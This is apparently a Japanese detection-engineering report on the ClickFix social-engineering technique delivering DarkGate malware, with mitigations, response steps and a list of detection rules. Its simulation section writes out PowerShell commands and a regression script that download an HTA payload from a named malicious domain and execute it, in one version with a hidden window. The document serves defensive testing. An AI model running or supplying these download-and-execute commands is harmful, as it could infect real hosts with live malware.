ClickFix 事例研究: DarkGate マルウェア
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、ユーザーにPowerShellコマンドをコピーして実行するように説得するClickFixと呼ばれるソーシャルエンジニアリング手法を概説しています。このコマンドは悪意のあるHTAファイルをダウンロードします。このHTAファイルはさらに、ディレクトリを作成し、ファイルをドロップし、C2通信を確立するAutoItスクリプトを含む追加コンポーネントを引き込みます。この活動はDarkGateキャンペーンに帰属されており、base64難読化とクリップボードの改ざんに依存して簡単な検出を避けています。
調査
アナリストは、偽のブラウザ拡張機能アラートページに埋め込まれた複数の層のbase64エンコードコンテンツを解明し、linktoxic34.comからdark.htaを取得するPowerShellコマンドを回収しました。これが実行されると、AutoIt実行ファイル(fckhffh.a3x)をデプロイし、DESルーチンを実行してさらなるペイロードを開始します。ネットワークテレメトリには悪意のあるドメインへのHTTP(S)トラフィックが示され、連鎖したPowerShellスクリプトの実行が続きます。
緩和策
推奨される防御策には、未知のコードスニペットをコピーしないようにするユーザー意識の向上、グループポリシーを通じたWindows Runダイアログの無効化、振る舞いベースのアンチウイルスソリューションの展開が含まれます。悪意のあるドメインのプロアクティブなブロックと、異常なPowerShellの実行の監視は、DarkGate感染のリスクを大幅に減少させることができます。
対応
ClickFix関連のイベントが確認された場合、影響を受けたエンドポイントを隔離し、すべての悪意あるプロセスを停止し、HTAとAutoItアーティファクトを削除し、侵入中に作成されたすべてのフォルダーをフォレンジック分析します。疑わしいPowerShellとHTAの実行パターンをフラグするように検出ロジックを更新し、関連するドメインが環境全体でブロックされていることを確認します。
攻撃フロー
検知
関連するコマンドの検出による疑わしいLOLBAS MSHTAの回避行動(プロセス生成経由)
表示
疑わしいPowerShell文字列(PowerShell経由)
表示
通常とは異なる場所から実行されたAutoITバイナリ(プロセス生成経由)
表示
公共ユーザープロファイルの疑わしいファイル(ファイルイベント経由)
表示
公共ユーザープロファイルからの疑わしい実行(プロセス生成経由)
表示
.NETメソッドをPowerShellから呼び出す不審な呼び出し(PowerShell経由)
表示
IOC(HashSha256)で検出する: ClickFix: DarkGate
表示
HTAファイルダウンロードのための悪意のあるPowerShell活動の検出 [Windowsネットワーク接続]
表示
HTA実行およびクリップボード操作を伴う悪意のあるPowerShell活動 [Windows PowerShell]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインプレフライトチェックが合格していること。
理由: このセクションでは、検出ルールをトリガーするように設計された敵対的技術(TTP)の正確な実行を詳細に説明します。コマンドと叙述は、直接TTPを反映する必要があり、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。
-
攻撃の説明とコマンド:
侵害されたWindowsホストに低権限アクセスを持つ攻撃者は、ClickFixキャンペーンで使用される悪意のあるHTAペイロードをダウンロードしたいと考えています。目立たないようにするために、攻撃者は PowerShell– ネイティブなWindowsツール – を使用するため、外部バイナリは導入されません。コマンドはコンソールで直接(またはスケジュールされたタスクを介して)実行され、ルールが監視している正確なURLを含みます。ダウンロードはユーザーの%TEMP%ディレクトリ内に格納され、その後Start-Process.$url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $out = "$env:TEMPdark.hta" Invoke-WebRequest -Uri $url -OutFile $out Start-Process -FilePath $out -
回帰テストスクリプト: (自己完結型、上記の手順を再現)
# ClickFix HTAダウンロードシミュレーション - Sigmaルールをトリガー $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $destPath = "$env:TEMPdark.hta" try { Write-Host "[*] 悪意のあるHTAペイロードをダウンロード中..." Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing Write-Host "[+] ダウンロード完了。ペイロードを実行中..." Start-Process -FilePath $destPath -WindowStyle Hidden } catch { Write-Error "ダウンロードまたは実行が失敗しました:$_" } -
クリーンアップコマンド: (ダウンロードしたHTAと実行中のインスタンスを削除)
# HTAファイルを削除し、残留する可能性のあるプロセスを終了 $htaPath = "$env:TEMPdark.hta" if (Test-Path $htaPath) { Remove-Item $htaPath -Force Write-Host "[*] HTAファイルを削除しました。" } # HTAから起動されたかもしれないプロセスを終了(汎用例) Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force